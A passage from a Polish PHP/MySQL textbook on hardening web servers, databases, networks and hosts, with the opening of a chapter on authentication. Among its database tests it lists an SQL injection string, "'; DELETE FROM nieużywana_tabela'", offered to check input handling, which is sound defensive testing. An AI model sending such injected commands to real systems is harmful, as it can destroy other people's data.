http://www.php.net/manual) i sprawdzić, jakie opcje konfiguracyjne są dostępne i jakie są dostępne
dla nich wartości.

Zdecydowanie zalecane jest przechowywanie pliku php.ini w systemie kontroli wersji albo w syste-
mie do zarządzania konfiguracją bądź też, w najgorszym razie, ręczne rejestrowanie wprowadzanych
modyfikacji, tak by po zainstalowaniu nowej wersji oprogramowania można było mieć pewność,
że wciąż będą używane prawidłowe ustawienia.

Konfiguracja serwera WWW


Gdy uzyska się już akceptowalną konfigurację modułu języka PHP, należy zająć się serwerem
WWW. Na każdym serwerze WWW proces konfigurowania jego bezpieczeństwa przebiega inaczej.
W tym punkcie rozdziału skupimy się na serwerze Apache HTTP Server, który jest zdecydowanie
najczęściej używanym serwerem HTTP.

Apache HTTP Server


Serwer httpd zwykle jest domyślnie udostępniany z dość bezpiecznymi ustawieniami konfigura-
cyjnymi, jednak przed uruchomieniem go w środowisku produkcyjnym warto przynajmniej niektóre
z tych ustawień jeszcze raz zweryfikować. Wszystkie opcje konfiguracyjne są przechowywane
w pliku httpd.conf, którego lokalizacja zależy od używanego systemu operacyjnego. Dosko-
nałą listę prezentującą wszystkie potencjalne lokalizacje tego pliku można znaleźć na stronie
356 Część III  E-commerce i bezpieczeństwo

http://wiki.apache.org/httpd/DistrosDefaultLayout. Bezwzględnie należy zapoznać się z treścią


tych punktów dokumentacji serwera, które dotyczą zabezpieczania serwera (dokumentacja jest do-
stępna pod adresem http://httpd.apache.org/docs-project), i kierować się zamieszczonymi w nich
wskazówkami.

Dodatkowo należy także:


 Upewnić się, że httpd działa w kontekście użytkownika, który nie posiada uprawnień
superużytkownika (czyli w kontekście użytkownika nobody lub httpd w systemie Unix).
W pliku httpd.conf odpowiadają za to ustawienia User i Group. W systemie Linux program
httpd jest początkowo uruchamiany z uprawnieniami użytkownika root, a dopiero potem
jego użytkownik zmieniany jest na tego, który został określony w pliku httpd.conf.
 Upewnić się, że zostały odpowiednio ustawione uprawnienia dostępu do plików
znajdujących się w katalogu instalacyjnym serwera Apache. W systemie Unix trzeba
zagwarantować, że we wszystkich katalogach z wyjątkiem głównego katalogu
dokumentów serwera (którym domyślnie jest podkatalog htdocs/) jedynie użytkownik
root będzie miał uprawnienia do zapisu plików. Jeśli chodzi o główny katalog
dokumentów serwera, to prawo do odczytu umieszczonych w nim plików musi mieć
użytkownik, którego używa serwer Apache, a wszyscy programiści oraz skrypty
stosowane do przeprowadzania wdrożeń muszą mieć prawa zarówno do odczytu,
jak i zapisu plików.
 Ukryć pliki, które powinny pozostać niewidoczne, przez dołączenie do pliku httpd.conf
odpowiednich dyrektyw. Na przykład aby ukryć pliki z rozszerzeniem .inc, można w pliku
konfiguracyjnym dodać następujący wpis:
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>

Oczywiście, jak już wcześniej wspomniano, pliki konfiguracyjne powinno się umieścić poza
katalogiem przeznaczonym na dokumenty wchodzące w skład danej witryny.

Aplikacje internetowe działające


na współużytkowanych serwerach hostingowych
Dla pewnej grupy użytkowników zapewnienie bezpieczeństwa na serwerze jest dość problematyczne.
Dotyczy to osób, które udostępniają swe aplikacje na współużytkowanych serwerach z PHP i MySQL.
W takiej sytuacji zwykle nie ma się dostępu do pliku php.ini, a także nie można ustawić
wszystkich opcji, które są wymagane. W skrajnych przypadkach dostawca może nawet zabronić
tworzenia katalogów poza katalogiem przeznaczonym na dokumenty, czym pozbawia użytkowników
szansy na umieszczenie plików dołączanych w bardziej bezpiecznym miejscu. Na szczęście więk-
szość firm udostępniających serwery w celach komercyjnych musi walczyć o rynek, a stosowanie
rozwiązań potencjalnie niebezpiecznych nie jest najlepszą metodą przyciągania klientów.

Przed dokonaniem ostatecznego wyboru dostawcy i udostępnieniu na oferowanej przez niego


infrastrukturze własnego rozwiązania najlepiej jest wykonać następujące czynności:
 Jeszcze przed wyborem dostawcy przeanalizować listę informacji udostępnianych przez
każdego z nich. Wiarygodni dostawcy będą udostępniać w sieci kompletną dokumentację
(niektórzy z nich publikują nawet doskonałe dynamiczne samouczki), opisującą sposób
konfiguracji usług udostępnianych klientom. Dzięki temu można sprawdzić, jakich
ograniczeń i jakiego zakresu wsparcia można się spodziewać.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 357

 Skupić się na dostawcach, którzy udostępniają całe drzewa katalogów, a nie tylko katalog
dokumentów. Niektórzy dostawcy informują po prostu, że prywatnym obszarem dostępnym
dla klienta jest wyłącznie katalog dokumentów, inni z kolei udostępniają całą hierarchię
katalogów, w której znajduje się także katalog public_html/ przeznaczony na dokumenty
i skrypty PHP.
 Spróbować dowiedzieć się, jakie są ustawienia pliku php.ini dostawcy. prawdopodobnie
większość dostawców nie publikuje informacji o ustawieniach ani nawet nie przesyła ich
potencjalnym klientom, można jednak zapytać personel dostawcy, czy włączony jest tryb
bezpieczny oraz które funkcje i klasy są wyłączone. Można także wywołać funkcję ini_get
i sprawdzić odpowiednie wartości. Dostawcy, którzy nie używają trybu bezpiecznego albo
nie wyłączają żadnych funkcji będą mieli większe szanse na wybór niż ci, którzy oferują
bardziej przemyślaną konfigurację.
 Sprawdzić wersje poszczególnych oferowanych przez dostawcę komponentów
oprogramowania. Czy są to wersje najnowsze?
 Poszukać usługodawców, którzy oferują okres próbny, gwarancję zwrotu pieniędzy lub inne
metody, dzięki którym będzie można przetestować działanie własnej aplikacji, zanim
podejmie się ostateczną decyzję o związaniu się na dłużej z konkretnym usługodawcą.
 Skorzystać z jednej z wielu doskonałych usług w chmurze, takich jak Amazon AWS,
czy też dostawców platformy jako usługi (PaaS), takich jak Heroku. Choć niektórzy
programiści wciąż preferują korzystanie z usług hostingowych, gdyż nie chcą zawracać
sobie głowy zadaniami administracyjnymi, to jednak warto zastanowić się nad takim
rozwiązaniem. Wykonywanie samodzielnych działań w takich środowiskach jest dużo
prostsze od zarządzania własnym komputerem, a poza tym w internecie dostępnych jest
wiele wspaniałych poradników i samouczków. Usługi tego typu znacznie ułatwiają
korzystanie z najnowszych wersji oprogramowania.

Bezpieczeństwo serwera bazy danych


Oprócz regularnego uaktualniania używanego oprogramowania dostępnych jest kilka sposobów,
dzięki którym zwiększy się bezpieczeństwo baz danych. Również w tym przypadku zamieszczenie
kompletnego opisu wszystkich dostępnych rozwiązań wymagałoby napisania oddzielnej książki
dla każdego z dostępnych na rynku serwerów baz danych, z których potencjalnie mogą korzystać
docelowe aplikacje internetowe. Dlatego ograniczymy się jedynie do wskazania ogólnych strategii
postępowania, które zawsze powinno się brać pod uwagę.

Użytkownicy i system uprawnień


Warto poświęcić trochę czasu, aby poznać bliżej system uwierzytelniania i uprawnień serwera
bazodanowego używanego dla celów aplikacji. Zaskakująco duża liczba ataków skierowanych
na bazy danych powodzi się właśnie dlatego, że ich właściciele nie zadali sobie trudu upewnienia
się, że przedsięwzięte zostały wszystkie niezbędne środki ostrożności.

Należy się upewnić, że dla wszystkich kont w bazie danych zdefiniowano hasła dostępu. Jedną
z pierwszych czynności, jaką wykonuje się na serwerze bazodanowym, jest nadanie hasła su-
perużytkownikowi (użytkownikowi root). Podczas jego określania najlepiej jest unikać słów, które
można znaleźć w słowniku. Nawet hasła typu 44piesA są znacznie mniej bezpieczne niż hasło
w postaci FI93!!xl2@. Jeżeli ktoś ma trudności z zapamiętaniem tego typu haseł, najlepiej jest
użyć metody polegającej na skonstruowaniu hasła z pierwszych liter słów znanego zdania lub po-
wiedzenia, z uwzględnieniem jakiegoś wzorca występowania wielkich i małych liter w tym zdaniu.
358 Część III  E-commerce i bezpieczeństwo

Na przykład na podstawie pierwszego wersu inwokacji zawartej w Panu Tadeuszu Adama


Mickiewicza, który brzmi „Litwo, ojczyzno moja, ty jesteś jak zdrowie”, można utworzyć hasło
LoMtJjZ. Ewentualnie hasłem może też być całe powiedzenie lub cała fraza o rozsądnej długości.

Wiele serwerów baz danych (nie wyłączając starszych wersji serwera MySQL) jest instalowanych
domyślnie z użytkownikiem anonimowym, którego zakres uprawnień jest zwykle większy, niż
byśmy chcieli. W trakcie analizy i poznawania systemu uprawnień należy zwrócić uwagę, by wszel-
kie domyślne konta funkcjonowały zgodnie z wybranym dla nich przeznaczeniem, zaś konta
niepotrzebne zostały usunięte.

Wyłącznie superużytkownik powinien mieć dostęp do tabel z uprawnieniami oraz bazami admini-
stracyjnymi. Inne konta powinny mieć uprawnienia wyłącznie do odczytywania lub modyfikowa-
nia tych baz danych i tabel, które są dla nich przeznaczone.

Aby przetestować system uprawnień, można spróbować wykonać czynności przedstawione poniżej
i upewnić się, że w każdym z tych przypadków baza danych zwraca błąd:
 Połączyć się z bazą danych bez podania nazwy użytkownika i hasła.
 Połączyć się jako użytkownik root bez podawania hasła.
 Podać nieprawidłowe hasło dla użytkownika root.
 Połączyć się w kontekście wybranego użytkownika i odczytać zawartość tabeli, do której
ten użytkownik nie powinien mieć dostępu.
 Połączyć się w kontekście wybranego użytkownika i uzyskać dostęp do systemowych
baz danych lub tabel z uprawnieniami.

Dopóki nie wykona się wszystkich czynności wskazanych powyżej, dopóty nie będzie się mieć
pewności, że system uwierzytelniania bazy danych jest rzeczywiście właściwie zabezpieczony.

Wysyłanie danych do serwera


Jak już nieraz wspomniano w tej książce (i napisane zostanie jeszcze wielokrotnie), nigdy nie
należy przesyłać danych do serwera, jeżeli nie zostały one uprzednio przefiltrowane.

Jednak jak już wcześniej zaznaczano, takie zabezpieczenie nie powinno być jedyną stosowaną formą
ochrony — dodatkowo należy sprawdzać wartość każdego pola przesłanego z formularza. Jeżeli
pole tekstowe jest przeznaczone do wpisywania nazwy użytkownika, warto się upewnić, że nie
wpisano w nim kilobajtów danych ani znaków, które w nazwach użytkownika są zabronione.
Dzięki wykonaniu takiej weryfikacji w kodzie źródłowym zyskuje się od razu możliwość bardziej
precyzyjnego informowania o błędach, a także zmniejsza się ryzyko naruszenia bezpieczeństwa
bazy danych. Analogicznie w przypadku danych dotyczących daty i czasu można sprawdzać ich
poprawność przed wysłaniem do serwera.

Poza tym na wszystkich pozwalających na to serwerach zawsze należy używać poleceń przy-
gotowywanych, w których wszelkie potencjalnie niebezpieczne elementy zostaną automatycznie
zabezpieczone, a odpowiednie części instrukcji będą umieszczone w cudzysłowach.

Aby upewnić się, że baza danych prawidłowo przetwarza dane, można wykonać następujące
czynności:
 Spróbować wpisać dane typu '; DELETE FROM nieużywana_tabela' i tym podobne.
 W polach przeznaczonych na liczby lub daty spróbować wpisać nieprawidłowe dane,
na przykład '55#$888ABC', i upewnić się, że zwrócony zostanie błąd.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 359

 Spróbować wpisać dane, których długość wykracza poza zdefiniowany dopuszczalny limit
i sprawdzić, czy zwrócony zostanie błąd.

Łączenie się z serwerem


Istnieje co najmniej kilka sposobów kontroli połączeń z serwerem i zapewniania w ten sposób
jego bezpieczeństwa. Jednym z najprostszych jest ograniczenie lokalizacji, z których mogą nad-
chodzić połączenia. W wielu systemach uprawnieniach obecnych w systemach zarządzania bazami
danych oprócz definiowania nazw użytkownika i jego hasła dostępu można także wskazać kompu-
tery, z których dany użytkownik może się łączyć. Jeżeli serwer bazy danych oraz serwer WWW
i moduł PHP działają na tym samym komputerze, dobrym rozwiązaniem jest dopuszczenie połą-
czeń pochodzących wyłącznie z adresu 'localhost' albo z adresu IP tego komputera. Jeżeli serwer
WWW pracuje tylko na jednym komputerze, najlepiej jest dopuścić w bazie danych połączenia
pochodzące tylko z tego komputera.

Serwery baz danych umożliwiają nawiązywanie połączeń za pośrednictwem połączeń szyfrowa-


nych (zwykle przy użyciu protokołu Secure Sockets Layer, czyli SSL). Jeżeli kiedykolwiek wcze-
śniej trzeba było łączyć się z serwerem bazodanowym za pośrednictwem otwartego połączenia
internetowego, zdecydowanie powinno się zacząć używać połączenia szyfrowanego, o ile jest ono
dostępne. Jeżeli nie jest dostępne, można rozważyć wprowadzenie tak zwanego tunelowania
— rozwiązania, w którym bezpieczne połączenie jest ustanawiane z jednego komputera na drugi,
a porty TCP/IP (na przykład port 80 dla protokołu HTTP lub port 25 dla protokołu SMTP) są kiero-
wane tym bezpiecznym połączeniem do innego komputera, który traktuje przychodzące dane jako
pochodzące ze źródła lokalnego.

Praca serwera
Gdy serwer bazodanowy już działa, wciąż można wykonywać szereg czynności zwiększających
jego bezpieczeństwo. Pierwsza i najważniejsza czynność to zapewnienie, że serwer nigdy nie powi-
nien działać w kontekście superużytkownika (czyli jako root w systemie Unix albo administrator
w Windows). Tak naprawdę serwer MySQL nie pozwoli się uruchomić w kontekście superużyt-
kownika, chyba że w momencie jego uruchamiania jawnie wskaże się takie wymaganie.

Po odpowiednim skonfigurowaniu oprogramowania bazodanowego większość programów pozwoli


na zmianę własności i uprawnień katalogów i plików baz danych, aby zapewnić ich niedostępność
dla osób niepożądanych. Warto z tej możliwości skorzystać i zapewnić, że właścicielem plików
baz danych rzeczywiście nie jest już superużytkownik (ponieważ w takim przypadku serwer ba-
zodanowy przypadkiem w kontekście superużytkownika nie będzie miał możliwości zapisywania
danych w tabelach baz danych).

W trakcie konfigurowania systemu uprawnień i autoryzacji należy tworzyć użytkowników tylko


z minimalnym zbiorem uprawnień. Koniecznie należy zapamiętać tę zasadę. Zamiast tworzyć
użytkowników, którzy będą dysponować szerokimi uprawnieniami, ponieważ „kiedyś mogą się
one przydać”, lepiej jest im nadać tylko zakres uprawnień rzeczywiście potrzebnych i rozszerzać
je, dopiero gdy zajdzie taka potrzeba.

Zabezpieczanie sieci
Istnieje co najmniej kilka sposobów zabezpieczenia sieci, w której działa aplikacja internetowa.
Szczegółowy opis dostępnych rozwiązań wykracza poza zakres niniejszej książki, lecz techniki te
są stosunkowo proste i nie służą tylko ochronie aplikacji internetowych.
360 Część III  E-commerce i bezpieczeństwo

Zapory sieciowe
Podobnie, jak obowiązkowo należy filtrować dane wejściowe przeznaczone dla aplikacji interne-
towej napisanej w języku PHP, konieczne jest filtrowanie całości danych wchodzących do sieci —
bez względu na to, czy dane są przeznaczone dla biur firmy, czy też dla centrum przetwarzania,
w którym znajdują się serwery i aplikacje.

Narzędziem przeznaczonym do filtrowania ruchu w sieci są zapory sieciowe. Zwykle jest to


oprogramowanie działające na jednym z systemów operacyjnych, takich jak FreeBSD, Linux
albo Microsoft Windows, bądź też zaporą jest dedykowane urządzenie, które można nabyć od
sprzedawcy urządzeń sieciowych. Zadaniem zapory sieciowej jest identyfikowanie danych nie-
pożądanych i blokowanie dostępu do tych obszarów sieci, które nie powinny mieć styczności
z siecią zewnętrzną.

Protokół TCP/IP, na którym bazuje sieć internet, korzysta z portów. Poszczególne porty są domyśl-
nie dedykowane do obsługi konkretnego rodzaju ruchu sieciowego (na przykład protokół HTTP
jest przekazywany domyślnie na porcie numer 80). Znaczna liczba portów jest przeznaczona
wyłącznie do przekazywania danych sieci wewnętrznej i generalnie nie mają zastosowania
w zakresie interakcji ze światem zewnętrznym. Jeżeli na wybranych portach wyłączone zostanie
przyjmowanie lub wysyłanie danych z sieci, zmniejszy się w ten sposób ryzyko naruszenia zabez-
pieczeń komputerów i serwerów (a w konsekwencji również aplikacji internetowych).

Wykorzystanie strefy zdemilitaryzowanej


Jak wspomniano już wcześniej w tym rozdziale, serwery i aplikacje WWW są narażone nie tylko
na ataki ze strony klientów zewnętrznych, ale mogą paść również ofiarą ataków użytkowników sieci
wewnętrznej. Tych drugich jest znacznie mniej, ale z drugiej strony mogą oni wyrządzić znacznie
więcej szkód dzięki znajomości sposobu działania firmy, do której należy sieć.

Jedną z metod obniżania ryzyka takiego ataku jest wykorzystanie tak zwanej strefy zdemilitary-
zowanej (ang. demilitarized zone — DMZ). Izoluje się w niej serwery, na których działa aplikacja
internetowa (a także inne serwery, na przykład poczty korporacyjnej) od zewnętrznej sieci inter-
netowej oraz wewnętrznych sieci korporacyjnych, co przedstawiono na rysunku 15.3.

Rysunek 15.3.
Konfiguracja strefy
zdemilitaryzowanej
(DMZ)

Strefy zdemilitaryzowane mają dwie niezwykle ważne zalety:


 Zabezpieczają serwery i aplikacje internetowe przed atakami z sieci wewnętrznej,
a także z sieci zewnętrznej.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 361

 Zwiększają poziom zabezpieczeń sieci wewnętrznej dzięki zwiększeniu warstw zapór


sieciowych oraz podwyższeniu poziomu zabezpieczeń między siecią korporacyjną
i internetem.

Projekt, instalacja i utrzymanie strefy zdemilitaryzowanej to czynności, które wykonuje się w poro-
zumieniu z administratorem sieci we wszystkich lokalizacjach, w których znajdować się będą serwe-
ry przeznaczone dla aplikacji internetowej.

Przygotowanie na ataki DoS i DDoS


Jednym z najniebezpieczniejszych współcześnie spotykanych ataków jest blokada usługi (ang.
Denial of Service — DoS), o czym wspomniano już w rozdziale 14. Sieciowe ataki DoS i jeszcze
groźniejsze rozproszone blokady usługi (ang. Distributed Denial of Service — DDoS) polegają
na wykorzystaniu komputerów, nad którymi przejęto kontrolę, robaków internetowych lub innych
narzędzi do maksymalnego wykorzystania luk w zabezpieczeniach zainstalowanego oprogramowa-
nia, a nawet wewnętrznych luk obecnych w implementacji protokołów, takich jak TCP/IP, w celu
zarzucenia serwerów ogromną liczbą żądań i zablokowania im w ten sposób możliwości zwracania
odpowiedzi na żądania pochodzące od pełnoprawnych użytkowników.

Niestety, przed tego typu atakami bardzo trudno jest się zabezpieczyć i adekwatnie na nie odpo-
wiedzieć. Niektórzy producenci urządzeń sieciowych oferują rozwiązania, których zadaniem
jest zmniejszenie ryzyka i ograniczenie ewentualnych szkód spowodowanych przez atak DoS. Na
razie nie istnieją jednak żadne kompletne rozwiązania chroniące przed atakami DoS.

Każdy administrator ma obowiązek przynajmniej wykonać analizy i rozpoznać naturę problemu,


jakim są ataki DoS, a także zidentyfikować ryzyko, na jakie narażone są używane sieci i zainsta-
lowane w nich oprogramowanie. Efekty tej pracy, a także wnioski z dyskusji z dostawcą usług
internetowych pozwolą lepiej przygotować się na ewentualność wystąpienia takiego ataku. Nawet
jeżeli atak DoS nie będzie skierowany w używane serwery, mogą one paść ofiarą ataku skiero-
wanego gdzie indziej.

Bezpieczeństwo komputerów
i systemów operacyjnych
Ostatnim elementem, jaki bezwzględnie należy brać pod uwagę w trakcie zabezpieczania infra-
struktury, są fizyczne komputery pełniące rolę serwerów, na których działa aplikacja internetowa.
Odpowiednie bezpieczeństwo można zapewnić na kilka sposobów.

Uaktualnianie systemu operacyjnego


Jednym z najprostszych sposobów utrzymania bezpieczeństwa komputera jest jak najczęstsze
uaktualnianie systemu operacyjnego. Bezpośrednio po wybraniu konkretnego systemu opera-
cyjnego, który będzie używany w środowisku produkcyjnym, powinno się wdrożyć w życie plan
dokonywania uaktualnień i instalacji łat bezpieczeństwa w tym systemie. Dodatkowo należy
wyznaczyć konkretną osobę, która cyklicznie będzie sprawdzać dostępne źródła w poszukiwaniu
nowych ostrzeżeń, łat i uaktualnień.

Źródła informacji na temat potencjalnych niebezpieczeństw zależą od używanego systemu operacyj-


nego. Zwykle informacje takie są dostępne u producenta zajmującego się rozwojem danego systemu
operacyjnego, na przykład firm Red Hat lub Canonical w przypadku Linuksa albo firmy Microsoft
362 Część III  E-commerce i bezpieczeństwo

w przypadku Windowsa. W przypadku innych systemów operacyjnych, których rozwijaniem


w większym stopniu zajmuje się społeczność, takich jak FreeBSD czy Gentoo Linux, zwykle korzy-
sta się z witryn internetowych tych społeczności — na nich właśnie powinny się także znajdować
najnowsze, zalecane przez te społeczności uaktualnienia systemu.

W przypadku wszystkich uaktualnień oprogramowania powinno się używać środowiska pośred-


niego, na którym będzie można przetestować poprawność działania aplikacji z nowymi łatami
oraz prawidłowość instalacji przed wykonaniem niezbędnych czynności bezpośrednio na serwerach
produkcyjnych. Dzięki obecności środowiska pośredniego będzie można się zidentyfikować ewen-
tualny błąd w działaniu aplikacji, zanim zostałby on zreplikowany na serwerach produkcyjnych.

Rozsądne stosowanie odpowiednich zasad utrzymywania i uaktualniania systemu operacyjnego


oraz instalacji łat bezpieczeństwa na pewno się opłaci. Jeżeli na przykład producent systemu
operacyjnego opublikuje łatę bezpieczeństwa przeznaczoną dla podsystemu FireWire używanego
systemu operacyjnego, a na używanym serwerze żadne urządzenia FireWire nie są używane,
wówczas przeprowadzanie całej procedury instalacji łaty będzie najprawdopodobniej stratą czasu.

Udostępnianie tylko niezbędnych usług


Pewnym problemem występującym w fizycznych serwerach wielu producentów jest to, że za-
wierają one w sobie znaczną liczbę programów, takich jak serwery pocztowe, serwery FTP, mecha-
nizm współpracy z udziałami systemu plików Microsoft (za pośrednictwem protokołu SMB) itp.
Aby aplikacja internetowa działała prawidłowo, wystarczy najczęściej tylko obecność serwera
WWW (na przykład Apache HTTP Server), interpretera języka PHP i wszelkich wymaganych
bibliotek i serwera bazodanowego.

Jeżeli oprócz wymienionych żadne inne składniki oprogramowania nie są potrzebne, należy je
całkowicie wyłączyć. W ten sposób nie trzeba się będzie dodatkowo martwić o ich odpowiednie
zabezpieczenie. W razie wątpliwości warto poszukać dodatkowych informacji, ponieważ najpraw-
dopodobniej ktoś zadał już w internecie pytanie, czy dana usługa rzeczywiście jest niezbędna,
i otrzymał na to pytanie konkretną odpowiedź.

Fizyczne zabezpieczenie serwera


Wcześniej wspomniano, że jednym z niebezpieczeństw jest wejście nieuprawnionej osoby do
budynku, odłączenie fizycznego serwera i wyniesienie komputera na zewnątrz. Niestety, to nie jest
żart. Nawet przeciętny serwer jest dość drogim urządzeniem, dlatego kradzież takiego komputera
jest często dokonywana również z innych pobudek niż szpiegostwo przemysłowe czy kradzież
praw autorskich. Niektórzy złoczyńcy po prostu kradną komputery, aby je potem sprzedać.

Dlatego tak ważne jest, aby serwery, na których działają aplikacje internetowe, znajdowały się
w bezpiecznym miejscu, do którego dostęp mają tylko uprawnione osoby, oraz wdrożone zostały
odpowiednie procedury przydzielania i odbierania prawa dostępu poszczególnym osobom.

Planowanie działań na wypadek awarii


Aby przekonać się o skali beztroski, wystarczy zapytać kilku losowo wybranych menedżerów IT
o to, co się stanie z serwerami znajdującymi się pod ich opieką albo wręcz z całym ośrodkiem
przetwarzania danych, jeżeli budynek, w którym sprzęt się znajduje, spłonie albo ulegnie zniszczeniu
na przykład w wyniku trzęsienia ziemi. Znaczny odsetek respondentów w ogóle nie będzie na takie
pytanie potrafiła odpowiedzieć.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 363

Jeśli witryna lub usługa działa w chmurze, to taki problem może się objawić jako działanie apli-
kacji wyłącznie w jednym regionie. Z kolei po stronie bazy danych jego przejawem mogą być
trudności ze sporządzaniem kopii zapasowych.

Planowanie działań na wypadek awarii (ang. disaster planning lub recovery planning) jest niezwykle
istotnym, lecz niestety często lekceważonym elementem świadczenia usług informatycznych,
bez względu na to, czy usługą tą jest udostępnianie aplikacji internetowej, czy też ma ona inny
charakter (włączając w to świadczenie bieżącego wsparcia dla działalności biznesowej). Odpowiedni
plan składa się zwykle ze zbioru dokumentów lub procedur, które wyznaczają sposób postępowania
w sytuacji, gdy wystąpiło jedno z poniższych zdarzeń (zdarzeń takich może być znacznie więcej):
 Część lub całe centrum przetwarzania danych uległo zniszczeniu w wyniku katastrofy,
na przykład trzęsienia ziemi.
 Wszyscy członkowie zespołu programistycznego wyszli na obiad i wpadli pod autobus,
w wyniku czego odnieśli poważne obrażenia (albo ponieśli śmierć).
 Główna siedziba firmy spłonęła.
 Napastnik z zewnątrz lub złośliwy (bądź jedynie niekompetentny) pracownik zniszczył
wszystkie znajdujące się na serwerach dane używane przez aplikację internetową.

Wiele osób z różnych powodów wzbrania się nawet przed poruszaniem tematu katastrof i ataków,
lecz smutna prawda jest taka, że podobne zdarzenia się zdarzają, choć rzeczywiście niezbyt
często. Zwykle jednak firmy nie mogą sobie pozwolić nawet na chwilę przestoju w świadczeniu
usługi spowodowanego jednym z takich zdarzeń losowych, a taki przestój na pewno wystąpi,
jeżeli firma nie będzie przygotowana na każdą ewentualność. Firma, która ma miliony złotych
dziennego obrotu, od razu by zbankrutowała, gdyby używane przez nią aplikacje internetowe stały
się niedostępne na ponad tydzień, a zadanie ponownego udostępnienia aplikacji zostałoby powie-
rzone osobom, które nie mają odpowiedniego doświadczenia w instalacji używanych przez tę firmę
systemów.

Dzięki przygotowaniu się na potencjalne zdarzenia losowe, opracowanie konkretnego planu


działania i wypróbowaniu przynajmniej niektórych elementów tego planu, nawet stosunkowo
niewielka inwestycja może uchronić firmę przed katastrofalnymi następstwami rzeczywistego
wystąpienia zdarzenia.

Aby zwiększyć prawdopodobieństwo, że opracowanie plany działań na wypadek awarii będą


skuteczne, warto wykonać następujące czynności:
 Zapewnić, że codziennie tworzona jest kopia bezpieczeństwa wszystkich danych i kopia
ta jest przenoszona w inne miejsce, dzięki czemu nawet w przypadku całkowitego zniszczenia
centrum przetwarzania dane wciąż będą dostępne.
 Opracować, wydrukować i umieścić w zewnętrznej lokalizacji dokumentację opisującą
sposób odtwarzania środowiska serwerowego oraz aplikacji internetowych.
Przynajmniej raz przeprowadzić próbę takiego odtworzenia.
 Utworzyć pełną kopię kodów źródłowych aplikacji internetowej i rozmieścić je w różnych
miejscach — może to być zewnętrzne repozytorium kodów źródłowych, takie jak GitHub
lub inny podobny serwis, albo środowisko produkcyjne.
 W przypadku bardziej licznych zespołów projektowych zabronić podróżowania jednym
środkiem transportu jednocześnie przez wszystkich członków zespołu (na przykład tym
samym samochodem albo samolotem), tak aby w razie jakiegoś wypadku ograniczyć jego
negatywne następstwa. Okazuje się, że niektórzy ubezpieczyciele narzucają nawet firmom
tego taki wymóg w polisach.
364 Część III  E-commerce i bezpieczeństwo

 Korzystać z automatycznych narzędzi, które będą sprawdzać działanie serwera oraz


dysponować listą osób odpowiedzialnych za rozwiązywanie problemów poza zwyczajnymi
godzinami pracy.
 Zawrzeć odpowiednie umowy z dostawcą sprzętu, na mocy których dostawca udostępni nowy
sprzęt niezwłocznie w przypadku zniszczenia centrum przetwarzania danych, bądź też
samemu zaopatrzyć się w odpowiednie urządzenia zapasowe. Oczekiwanie na przykład 4
albo 6 tygodni na nowe serwery może być bowiem zabójcze dla firmy.

W następnym rozdziale
W rozdziale 16. odejdziemy od teoretycznych zagadnień bezpieczeństwa i przedstawimy informacje
dotyczące uwierzytelniania, czyli sposobu identyfikacji użytkowników. Zaprezentujemy kilka metod
uwierzytelniania, w tym również wykorzystujące PHP i MySQL.
Rozdział 16.
Implementacja metod
uwierzytelniania
przy użyciu PHP
W rozdziale tym zostanie przedstawionych kilka sposobów wykorzystywania PHP i MySQL do
przeprowadzania procesu uwierzytelniania.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 identyfikacja użytkowników,
 implementacja kontroli dostępu,
 podstawowa metoda uwierzytelniania,
 wykorzystanie podstawowej metody uwierzytelniania w PHP,
 wykorzystanie podstawowej metody uwierzytelniania na serwerze Apache,

Identyfikacja użytkowników
Internet jest środkiem łączności zapewniającym anonimowość, często jednak bardzo przydatna
jest wiedza na temat osób odwiedzających daną stronę internetową. Serwer internetowy bez trudu
jednak może zebrać wiele informacji na temat komputerów i sieci nawiązujących z nim połączenie.
Przeglądarka internetowa zazwyczaj sama się zidentyfikuje, wysyłając do serwera informacje na
temat swego typu, wersji i systemu operacyjnego, na którym pracuje. Istnieje również możliwość
rozpoznania rozdzielczości ekranu użytkownika, używanej palety kolorów, a nawet rozmiaru okna
przeglądarki z wykorzystaniem kodu JavaScript.

Każdy komputer podłączony do internetu posiada własny, niepowtarzalny adres IP. Na jego
podstawie można uzyskać część danych związanych z odwiedzającym. Dzięki nim można dowie-
dzieć się, kto jest właścicielem adresu IP, a niekiedy określić, w której części świata się on znajduje.
Niektóre adresy mogą być bardziej przydatne od innych. Zazwyczaj osoby posiadające stałe połą-
czenie z internetem mają również stały IP. Klientom dostawców internetowych, łączącym się za
pomocą linii telefonicznej, zazwyczaj zostaje przydzielony na czas połączenia jeden z adresów IP
dostawcy. Kolejnym razem ten sam adres IP może być już przyporządkowany innej maszynie.
Urządzenia mobilne dodatkowo komplikują sprawę. Jak zatem widać, adresy IP nie są aż tak przy-
datne do identyfikowania użytkowników, jak by się to mogło wydawać na pierwszy rzut oka.
366 Część III  E-commerce i bezpieczeństwo

Na szczęście dla użytkowników, żadna z informacji przesyłanych przez przeglądarkę internetową


nie dotyczy ich bezpośrednio. Chcąc poznać na przykład dane osobiste użytkownika, należy go o to
zapytać.

Wiele witryn w różnorodny sposób zachęca odwiedzających do podania swych danych. Na przy-
kład coraz więcej witryn udostępnia bezpłatne treści, lecz jedynie tym osobom, które zechcą założyć
konto i zalogować się na nim. Większość witryn komercyjnych zapisuje dane klienta składającego
zamówienie po raz pierwszy. Dzięki temu w razie kolejnych zamówień użytkownik nie musi
ponownie podawać informacji o sobie.

Po otrzymaniu określonych informacji od odwiedzającego należy znaleźć sposób, by w razie następ-


nej wizyty skojarzyć te dane z konkretnym użytkownikiem. Jeśli przyjmiemy, że tylko jedna
osoba odwiedza witrynę z danego konta i z danego komputera oraz że każdy użytkownik korzysta
tylko z jednej maszyny, to można zapisać na niej plik cookie identyfikujący jej właściciela.

W przypadku części użytkowników założenie to okaże się jednak chybione — często zdarza się,
że kilka osób korzysta z jednego komputera, a jedna używa kilku różnych maszyn i urządzeń
mobilnych. Od czasu do czasu trzeba więc ponownie zapytać użytkownika o jego dane, a ponadto
konieczne jest wykazanie, że odwiedzający rzeczywiście jest tą osobą, za którą się podaje.

Weryfikacja tożsamości użytkownika nosi nazwę uwierzytelniania. Metodą uwierzytelniania naj-


częściej wykorzystywaną na stronach WWW jest podanie przez odwiedzającego jego identyfi-
katora i hasła dostępu. Uwierzytelnianie zazwyczaj przeprowadza się w celu udzielenia lub odmowy
